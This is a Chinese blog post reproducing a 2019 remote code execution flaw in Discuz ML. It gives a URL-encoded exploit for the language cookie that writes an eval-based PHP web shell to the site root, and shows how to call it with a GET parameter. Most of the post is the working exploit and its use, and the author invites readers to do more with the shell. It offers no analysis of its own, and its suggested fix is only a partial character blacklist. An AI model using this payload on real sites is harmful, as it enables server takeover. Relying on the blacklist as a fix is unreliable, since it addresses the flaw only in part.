Discuz ML RCE漏洞getshell 复现

作者: H0r2yC 分类: 漏洞利用 发布时间: 2019-07-12 14:29

0x01 环境搭建

官网下载:http://discuz.ml/download

解压后将upload所有内容放到网站目录,访问一步步安装即可。

0x02 复现过程

exp来自圈子社区晏子霜,感谢大佬。

https://www.secquan.org/BugWarning/1069828

exp:

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2547%2545%2554%255b%2522ss%2522%255d%29%253b%253f%253e%27%29%29.%27

修改cookie中的xxx_language值为exp内容,访问主页则上传的webshell.php在网站根目录下

    上传shell.php内容为<?php  eval($_GET[“ss”]);?>,看一下网站本地目录多出一个shell.php文件,上传成功。

访问http://127.0.0.1/shell.php?ss=phpinfo();

还能做什么大家比我懂得更多。

0x03 漏洞分析

我不会

我只是个知识搬运工,可参考米斯特安全团队漏洞分析文章:

https://mp.weixin.qq.com/s/5Zl3Jve4eblNIXh30t469w

0x04 修复建议

单看语言这个点,在/source/class/discuz/discuz_application.php 第338行之后341行之前加入该代码暂缓此安全问题:

$lng = str_replace(“(“,””,$lng);

$lng = str_replace(“)”,””,$lng);

$lng = str_replace(“‘”,””,$lng);

$lng = str_replace(‘”‘,””,$lng);

$lng = str_replace(‘`’,””,$lng);

修复建议来自米斯特安全团队文章

https://mp.weixin.qq.com/s/5Zl3Jve4eblNIXh30t469w

     

如果觉得我的文章对您有用,欢迎关注我的公众号:网安成长笔记

发表评论